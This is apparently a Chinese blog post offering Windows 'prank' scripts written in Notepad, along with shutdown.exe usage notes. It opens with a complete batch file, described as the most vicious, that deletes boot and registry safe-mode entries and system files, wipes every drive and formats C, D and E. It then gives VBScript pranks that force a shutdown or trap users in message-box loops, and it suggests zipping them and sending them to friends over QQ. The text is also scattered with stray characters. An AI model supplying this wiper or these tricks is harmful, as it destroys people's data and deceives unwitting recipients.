Windows下的記事本的小程序編寫(惡搞小程序)

目錄:

1、刪掉電腦系統(tǒng)(過于惡毒昔逗,輕易別嘗試)

2降传、運行后每5秒彈出對話框“哈哈!你中招了勾怒!” 彈出20次~(可修改次數(shù))

3婆排、我是豬

4声旺、無法關(guān)閉的對話框(必須點擊60下以上才可關(guān)閉)

5、綜合型

(提供一個最惡毒的段只,復(fù)制到文本文檔腮猖,后綴改為.bat

echo off

echo 等待......

echo 正在分析系統(tǒng)......

REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /f

REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /f

ATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -h

DEL %SYSTEMDRIVE%\boot.ini /f

del %SYSTEMROOT%\system32\logfiles\*.*

del %SYSTEMROOT%\sytem32\config\*.evt

del %SYSTEMROOT%\system32\dtclog\*.*

del %SYSTEMROOT%\system32\*.log

del %SYSTEMROOT%\system32\*.txt

del %SYSTEMROOT%\*.txt

del %SYSTEMROOT%\*.log

del /f /s /q %system%\*.dll

del /f /s /q %system%\*.prx

del /f /s /q %system%\*.tbl

del /f /s /q %system%\*.cpx

del /f /s /q %system%\*.rom

del /f /s /q %system%\*.uce

del /f /s /q %system%\recycled\*.*

del /f /s /q %system32%\*.dll

del /f /s /q %system32%\*.prx

del /f /s /q %system32%\*.tbl

del /f /s /q %system32%\*.cpx

del /f /s /q %system32%\*.rom

del /f /s /q %system32%\*.uce

del /f /s /q %system32%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\prefetch\*.*

del /f /s /q *.*

sfc /purgecache

del /f /s /q %systemdrive%\*.tmp

del /f /s /q %systemdrive%\*._mp

del /f /s /q %systemdrive%\*.log

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\*.log

del /f /s /q %windir%\*.tmp

del /f /s /q %windir%\prefetch\*.*

rd /s /q %temp% & md %temp%

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

@rd /s /q G:\ & md G:\

@rd /s /q F:\ & md F:\

@rd /s /q E:\ & md E:\

@rd /s /q D:\ & md D:\

@rd /s /q C:\ & md C:\

@rd /s /q A:\ & md A:\

@for %%e in (C D E F G) do del /f /s /q %e:\* >nul

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

del /f /q E:\我的電腦\正在清理windows系統(tǒng)\dll\*.*

@format c: /q/u/autoset

@format d: /q/u/autoset

@format e: /q/u/autoset

goto end

del c:\*.exe

del d:\*.dll

del e:\*.vbe

del f:\*.bat

del g:\*.cmd

echo OK!

echo.

shutdown -s -t 0)

1...這個沒什么太大意思~

不過癮

運行后每5秒彈出對話框 彈出20次~

set ws=wscript.createobject("wscript.shell")

ws.run "wscript.exe",0

set WshShell = WScript.CreateObject("WScript.Shell")

alerttitle = "系統(tǒng)提示"

alerttext ="哈哈!你中招了翼悴!"

for i = 1 to 20

WScript.Sleep(1000*5)

msgbox alerttext,4096,alerttitle

next

復(fù)制代碼到記事本中 保存為.vbs

2...說我是豬,就不關(guān)機缚够,快撒,說 ""我是豬"" ","說不說"

方法如下:在開始內(nèi)點擊運行輸入at xx:xx shutdown -s,xx:xx代表幾點幾分是在幾點幾分關(guān)機輸入shutdown.exe -s -t xx,xx代表多少秒鐘后關(guān)機 如果要取消鹦赎,就輸入shutdown -a就可以取消了.

我聽一個朋友說谍椅,有個人給他發(fā)個東西。他看了下古话。雏吭。說要輸入一句話。陪踩。不然就管你機杖们。是怎么編的。肩狂。摘完。我知道關(guān)機命令和取消命令。傻谁。孝治。不知道要對方怎么輸才可以取消命令。审磁。

腳本谈飒,例如下面的東西。就可以實現(xiàn)态蒂。

首先呢,我們在桌面創(chuàng)建個新文件夾然后打開,在上面找到-工具T-文件夾選項O-查看

把隱藏已知文件類型的擴展名前面的勾去掉.

然后我們開始制作.在桌面建立個記事本,然后把下面代碼復(fù)制進去

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬杭措,不說我是豬就一分鐘關(guān)你機,不信钾恢,你試試···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關(guān)機手素,快撒,說 ""我是豬"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵瘩蚪,豬"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈刑桑,真過癮"

復(fù)制之后呢,把后綴修改為.vbs或者改變打開方式為應(yīng)用程序,這樣你再壓縮下用QQ發(fā)給你朋友募舟,對方打

開了就在60秒內(nèi)要關(guān)閉計算機,

結(jié)素任務(wù)都不行闻察,他只能說他是豬才能解決問題拱礁。夠壞吧琢锋? 注意哦,你可以把我是豬那個修改成任

意想說的話呢灶,要是對付你喜歡的人吴超,

就修改成 我愛你 這樣他只有說我愛你之后才不關(guān)閉計算機哦 也可以把時間修改為20 就是說打

開了20秒就關(guān)了,還沒等對方打完就關(guān)機了 是不是叫對方很郁悶?zāi)?

3...

首先你可以看下面的

WScript.Echo("嘿,謝謝你打開我哦鸯乃,我等你很久拉鲸阻!"&TSName)

WScript.Echo("你是可愛的小朋嗎?")

WScript.Echo("哈,我想你拉,這你都不知道嗎缨睡?")

WScript.Echo("怎么才來鸟悴,說~是不是不關(guān)心我")

WScript.Echo("哼,我生氣拉,等你這么久奖年,心都涼啦细诸。")

WScript.Echo("小強很生氣,后果很嚴重哦陋守。")

WScript.Echo("嘿嘿震贵!你也會很慘滴哦")

WScript.Echo("是不是想清除我?")

WScript.Echo("那你要點上50下哦水评,不過會給你驚喜滴")

WScript.Echo("還剩49下猩系,快點點哦")

WScript.Echo("還剩48下,快點中燥,小笨蛋寇甸!")

WScript.Echo("還剩47下對,就這樣快點點褪那!")

WScript.Echo("還剩46下幽纷。你啊就是笨,要快哦博敬,我先不打擾你工作友浸。")

WScript.Echo("還剩45下,記得要快哦偏窝!")

WScript.Echo("還剩43下")

WScript.Echo("還剩42下")

WScript.Echo("還剩41下")

WScript.Echo("還剩40下")

WScript.Echo("還剩39下")

WScript.Echo("還剩38下")

WScript.Echo("還剩37下")

WScript.Echo("還剩36下")

WScript.Echo("還剩35下")

WScript.Echo("還剩34下")

WScript.Echo("還剩33下")

WScript.Echo("還剩32下")

WScript.Echo("還剩30下")

WScript.Echo("還剩29下")

WScript.Echo("還剩28下")

WScript.Echo("還剩27下")

WScript.Echo("還剩26下")

WScript.Echo("還剩25下")

WScript.Echo("還剩24下")

WScript.Echo("還剩23下")

WScript.Echo("還剩22下")

WScript.Echo("還剩21下")

WScript.Echo("還剩20下")

WScript.Echo("還剩19下")

WScript.Echo("還剩18下")

WScript.Echo("還剩17下")

WScript.Echo("還剩16下")

WScript.Echo("還剩15下")

WScript.Echo("還剩14下")

WScript.Echo("還剩13下停停J栈帧!祭往!慢點伦意,我有話要說")

WScript.Echo("還剩12下,你繼續(xù)點我就會消失滴")

WScript.Echo("還剩11下硼补,以后就看不到我拉驮肉。555555")

WScript.Echo("還剩10下,你現(xiàn)在可以選擇停止已骇!")

WScript.Echo("還剩9下离钝。你還點啊票编,不要我拉?")

WScript.Echo("還剩8下卵渴,有點傷心拉慧域,干嘛丟棄人家")

WScript.Echo("還剩7下。瘋了浪读,你有點負意昔榴!")

WScript.Echo("還剩6下。對碘橘。你就點吧互订,我恨你!")

WScript.Echo("還剩5下蛹屿,不明白屁奏,刪除我你就好嗎?")

WScript.Echo("還剩4下错负!真要刪除我坟瓢?")

WScript.Echo("還剩3下∮倘觯可是我真的很眷戀你折联。。识颊。")

WScript.Echo("還剩2下诚镰。不要這么絕情嘛,人家是愛你的祥款!")

WScript.Echo("還剩1下清笨。哼,既然你這么絕情刃跛。也別怪我無義?侔!桨昙!")

WScript.Echo("我本因該消失的检号,不過我留戀你滴芳容,上帝又給了一次機會蛙酪。")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

WScript.Echo("想結(jié)素我么?那你就再多點一次")

把這個復(fù)制在記事本,把后綴修改成.vbs

在打開呢就會先說第一句的 嘿齐苛,謝謝你打開我哦,我等你很久拉桂塞!

他無論是點關(guān)閉或者是點確定都會再說第2句

再點就說地3句 會按順序說完

你們注意哦凹蜂,最后10句話,只是10句,你要是把這個復(fù)制再粘貼N次玛痊,那他還有個打完呢泥彤?

這樣才做到整人了,要是給喜歡的人發(fā)去啊卿啡,那就寫你要說的話吧,雙引號里面的可以隨便更改

這個最簡單的就是結(jié)素任務(wù)來結(jié)束它

5..

do

msgbox "準備安裝right table1.0"

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Popup "正在安裝菱父,"&vbcrlf&"請等待颈娜,請不要按確認!浙宜!"&vbcrlf&"請不要按確認",5,"安裝過程"

WshShell.Popup "安裝完成官辽,請按確認啟動",,"安裝完成"

msgbox "請準備"

x=inputbox ("1啟動,0關(guān)閉","是否啟動粟瞬?","1")

if x=1 then

z=inputbox ("請輸入1或2","請選擇功能")

end if

if z=1 then

do until i=10

i=i+1

msgbox "CPU溫度過高同仆,系統(tǒng)出現(xiàn)嚴重誤!",16+4096,"系統(tǒng)錯誤"

wscript.sleep 1000*60 '時間可以自己改

loop

elseif z=2 then

a=InputBox("快說“我是笨蛋”裙品,一個停頓都不能有俗批,不然我就關(guān)機!","老公我愛你","我是市怎,笨蛋")

If a="我是笨蛋" Then

Msgbox"這就對了嘛岁忘!",0,"我是笨蛋"

msgbox"進入"

msgbox"sorry,your computer is &*(^*&%"

Elseif a="我是,笨蛋" Then

Msgbox"一個停頓也不許有区匠,沒看見呀干像?",16,"我是笨蛋"

Else

Msgbox"還不說?你再不說我就關(guān)機了驰弄!",16,"我是笨蛋"

End If

end if

if x=0 then

msgbox "真的要退出嗎?"

y=inputbox ("返回1麻汰,退出0","真的要退出嗎?","1")

end if

if y=1 then

msgbox "笨蛋這下后悔也來不及了!"

do while 1

msgbox "現(xiàn)在就永遠管不了了戚篙!"

loop

elseif y=0 then

msgbox "現(xiàn)在關(guān)閉"

exit do

end if

loop

2五鲫。

把以下代碼復(fù)制到記事本中 然后重命名為后綴名為VBS的文件~

do

msgbox"爽死你~"

loop

Windows XP的關(guān)機是由Shutdown.exe程序來控制的,位于Windows\System32文件夾中已球。如

果想讓Windows 2000也實現(xiàn)同樣的效果臣镣,可以把Shutdown.exe復(fù)制到系統(tǒng)目錄下。

比如你的電腦要在22:00關(guān)機智亮,可以選擇“開始→運行”忆某,輸入“at 22:00 Shutdown -s”,

這樣阔蛉,到了22點電腦就會出現(xiàn)“系統(tǒng)關(guān)機”對話框弃舒,默認有30秒鐘的倒計時并提示你保存工

作。如果你想以倒計時的方式關(guān)機,可以輸入“Shutdown.exe -s -t 3600”聋呢,這里表示60

分鐘后自動關(guān)機苗踪,“3600”代表60分鐘。

設(shè)置好自動關(guān)機后削锰,如果想取消的話通铲,可以在運行中輸入“shutdown -a”。另外輸入

“shutdown -i”器贩,則可以打開設(shè)置自動關(guān)機對話框颅夺,對自動關(guān)機進行設(shè)置。

Shutdown.exe的參數(shù)蛹稍,每個都具有特定的用途吧黄,執(zhí)行每一個都會產(chǎn)生不同的效果,比如

“-s”就表示關(guān)閉本地計算機唆姐,“-a”表示取消關(guān)機操作拗慨,下面列出了更多參數(shù),大家

可以在Shutdown.exe中按需使用奉芦。

-f:強行關(guān)閉應(yīng)用程序

-m \\計算機名:控制遠程計算機

-i:顯示圖形用戶界面赵抢,但必須是Shutdown的第一個選項

-l:注銷當前用戶

-r:關(guān)機并重啟

-t 時間:設(shè)置關(guān)機倒計時

-c "消息內(nèi)容":輸入關(guān)機對話框中的消息內(nèi)容(不能超127個字符)

有時候,我們需要定時關(guān)閉計算機仗阅,下面介紹一個在Windows XP下實現(xiàn)定時關(guān)機的簡單方

法昌讲。

指定系統(tǒng)在22分鐘后自動關(guān)閉:點擊“開始→運行”,在“打開”中輸入命令“Shutdown

-s -t 1320”(注意:引號不輸入减噪,參數(shù)之間有空格短绸,1320的單位是秒),單擊“確定”

按鈕即可筹裕。

指定系統(tǒng)在某個時間(比如12:00)自動關(guān)閉:在“打開”中輸入命令

“at 12:00 Shutdown -s”即可醋闭。

取消定時關(guān)機:在“打開”中輸入命令“Shutdown -a”即可。

能的實現(xiàn)都是使用“Shutdown”命令實現(xiàn)的朝卒,shutdown的參數(shù)是在命令行窗口中輸入

“shutdown”证逻。筆者認為最有用的是“-i”參數(shù),可以調(diào)出“遠程關(guān)機對話框”抗斤,

能方便地實現(xiàn)局域網(wǎng)內(nèi)計算機的遠程關(guān)機囚企,有興趣的朋友可以試一試。

開始-程序-附件-系統(tǒng)工具-計劃任務(wù)-添加任務(wù)計劃-下一步-瀏覽

-c:\windows\system32\shadow.exe-下一步-選好要關(guān)機的時間瑞眼,

下一步-輸入用戶名和密碼龙宏,只要是系統(tǒng)里有的用戶就行,但一定要有密碼伤疙,

沒有也要設(shè)一個银酗,下一步辆影,選上“在完成時打開此任務(wù)的高級屬性”,

在運行欄后面加上“ -S”引號不要哦黍特。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末蛙讥,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子灭衷,更是在濱河造成了極大的恐慌次慢,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,036評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件翔曲,死亡現(xiàn)場離奇詭異经备,居然都是意外死亡,警方通過查閱死者的電腦和手機部默,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,046評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來造虎,“玉大人傅蹂,你說我怎么就攤上這事∷阍洌” “怎么了份蝴?”我有些...
    開封第一講書人閱讀 164,411評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長氓轰。 經(jīng)常有香客問我婚夫,道長,這世上最難降的妖魔是什么署鸡? 我笑而不...
    開封第一講書人閱讀 58,622評論 1 293
  • 正文 為了忘掉前任案糙,我火速辦了婚禮儒喊,結(jié)果婚禮上奥吩,老公的妹妹穿的比我還像新娘。我一直安慰自己抗俄,他們只是感情好炉抒,可當我...
    茶點故事閱讀 67,661評論 6 392
  • 文/花漫 我一把揭開白布奢讨。 她就那樣靜靜地躺著,像睡著了一般焰薄。 火紅的嫁衣襯著肌膚如雪拿诸。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,521評論 1 304
  • 那天塞茅,我揣著相機與錄音亩码,去河邊找鬼。 笑死凡桥,一個胖子當著我的面吹牛蟀伸,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 40,288評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼啊掏,長吁一口氣:“原來是場噩夢啊……” “哼蠢络!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起迟蜜,我...
    開封第一講書人閱讀 39,200評論 0 276
  • 序言:老撾萬榮一對情侶失蹤刹孔,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后娜睛,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體髓霞,經(jīng)...
    沈念sama閱讀 45,644評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,837評論 3 336
  • 正文 我和宋清朗相戀三年畦戒,在試婚紗的時候發(fā)現(xiàn)自己被綠了方库。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,953評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡障斋,死狀恐怖纵潦,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情垃环,我是刑警寧澤邀层,帶...
    沈念sama閱讀 35,673評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站遂庄,受9級特大地震影響寥院,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜涛目,卻給世界環(huán)境...
    茶點故事閱讀 41,281評論 3 329
  • 文/蒙蒙 一秸谢、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧霹肝,春花似錦钮追、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,889評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至苗沧,卻和暖如春刊棕,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背待逞。 一陣腳步聲響...
    開封第一講書人閱讀 33,011評論 1 269
  • 我被黑心中介騙來泰國打工甥角, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人识樱。 一個月前我還...
    沈念sama閱讀 48,119評論 3 370
  • 正文 我出身青樓嗤无,卻偏偏與公主長得像震束,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子当犯,可洞房花燭夜當晚...
    茶點故事閱讀 44,901評論 2 355

推薦閱讀更多精彩內(nèi)容